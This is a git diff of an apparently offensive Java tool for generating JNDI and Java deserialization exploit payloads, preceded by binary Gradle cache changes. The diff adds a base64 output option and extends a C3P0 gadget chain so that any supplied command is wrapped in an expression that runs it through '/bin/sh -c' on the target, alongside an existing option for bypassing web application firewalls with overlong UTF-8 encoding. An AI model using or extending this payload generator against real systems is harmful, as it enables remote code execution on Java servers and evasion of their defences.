diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index 16d9d4d..692af01 100644 Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index 3433798..1b979c1 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.bin and b/.gradle/8.7/executionHistory/executionHistory.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index 6fc733c..1665a6d 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.lock and b/.gradle/8.7/executionHistory/executionHistory.lock differ diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index e5549dd..9b6c8a9 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.bin and b/.gradle/8.7/fileHashes/fileHashes.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index 4ea3ab2..d66ba3e 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index 9270fc2..421b3f4 100644 Binary files a/.gradle/8.7/fileHashes/resourceHashesCache.bin and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index bce9dcf..600b9e2 100644 Binary files a/.gradle/buildOutputCleanup/buildOutputCleanup.lock and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index 6a3e66c..ac9f9fd 100644 Binary files a/.gradle/file-system.probe and b/.gradle/file-system.probe differ diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java index 1e5b86e..381dc4e 100644 --- a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java @@ -9,6 +9,7 @@ import com.qi4l.jndi.gadgets.utils.StringUtil; import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper; import org.apache.commons.cli.*; +import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.OutputStream; import java.util.*; @@ -19,7 +20,7 @@ import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit; public class ysoserial { public static CommandLine cmdLine; - public static Object PAYLOAD = null; + public static Object PAYLOAD = null; public static void ysoserial(String[] args) { final Options options = getOptions(); @@ -68,6 +69,10 @@ public class ysoserial { Config.FILE = cmdLine.getOptionValue("file"); } + if (cmdLine.hasOption("base64")) { + Config.BASE64 = true; + } + if (cmdLine.hasOption("password")) { Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); @@ -172,6 +177,7 @@ public class ysoserial { } System.exit(0); } + private static Options getOptions() { Options options = new Options(); options.addOption("y", "ysoserial", false, "Java deserialization"); @@ -199,6 +205,7 @@ public class ysoserial { options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); options.addOption("he1", "Hessian1", false, "Hessian1 Output"); options.addOption("he2", "Hessian2", false, "Hessian2 Output"); + options.addOption("b64", "base64", false, "base64 encoding"); return options; } diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P02.java b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java index 7635955..d1bcce6 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/C3P02.java +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java @@ -18,6 +18,9 @@ import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; +import static com.qi4l.jndi.gadgets.utils.Utils.getJSEngineValue; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass; + /** * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 */ @@ -27,6 +30,12 @@ import java.util.logging.Logger; public class C3P02 implements ObjectPayload { public Object getObject(String command) throws Exception { + if (command.startsWith("EX-") || command.startsWith("LF-")) { + command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\""); + } else { + command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()"; + } + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); return b; diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java index d7452e4..57c5bdb 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java @@ -94,6 +94,7 @@ public class Config { // 将输入直接写在文件里 public static String FILE = "out.ser"; public static Boolean WRITE_FILE = false; + public static Boolean BASE64 = false; // 是否强制使用 org.apache.XXX.TemplatesImpl public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java index 87d7c1d..a0c2871 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java @@ -3,6 +3,7 @@ package com.qi4l.jndi.gadgets.utils; import com.caucho.hessian.io.*; import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; +import java.util.Base64; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; @@ -36,25 +37,40 @@ public class Serializer implements Callable { public static void qiserialize(Object obj, final OutputStream out) throws Exception { ObjectOutputStream objOut = null; AbstractHessianOutput AobjOut = null; + ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); - if (IS_DIRTY_IN_TC_RESET) { - objOut = new SuObjectOutputStream(out); - } else if (IS_UTF_Bypass) { - objOut = new UTF8OverlongObjectOutputStream(out); + if (IS_UTF_Bypass) { + if (BASE64) { + objOut = new UTF8OverlongObjectOutputStream(outB64); + } else { + objOut = new UTF8OverlongObjectOutputStream(out); + } } else if (IS_Hessian1) { - AobjOut = new HessianOutput(out); + if (BASE64) { + AobjOut = new HessianOutput(outB64); + } else { + AobjOut = new HessianOutput(out); + } NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); AobjOut.setSerializerFactory(sf); } else if (IS_Hessian2) { - AobjOut = new Hessian2Output(out); + if (BASE64) { + AobjOut = new Hessian2Output(outB64); + } else { + AobjOut = new Hessian2Output(out); + } NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); AobjOut.setSerializerFactory(sf); AobjOut.writeObject(obj); AobjOut.close(); - }else { - objOut = new ObjectOutputStream(out); + } else { + if (BASE64) { + objOut = new SuObjectOutputStream(outB64); + } else { + objOut = new SuObjectOutputStream(out); + } } if (IS_Hessian1 || IS_Hessian2) { @@ -62,6 +78,12 @@ public class Serializer implements Callable { } else { objOut.writeObject(obj); } + + if (BASE64) { + String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray()); + System.out.println(encodedString); + } + } public byte[] call() throws Exception { @@ -96,7 +118,7 @@ public class Serializer implements Callable { * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) */ @Override - public com.caucho.hessian.io.Serializer getObjectSerializer (Class cl ) throws HessianProtocolException { + public com.caucho.hessian.io.Serializer getObjectSerializer(Class cl) throws HessianProtocolException { return super.getObjectSerializer(cl); } @@ -106,10 +128,10 @@ public class Serializer implements Callable { * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) */ @Override - public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException { + public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException { com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); - if ( serializer instanceof WriteReplaceSerializer ) { + if (serializer instanceof WriteReplaceSerializer) { return UnsafeSerializer.create(cl); } return serializer;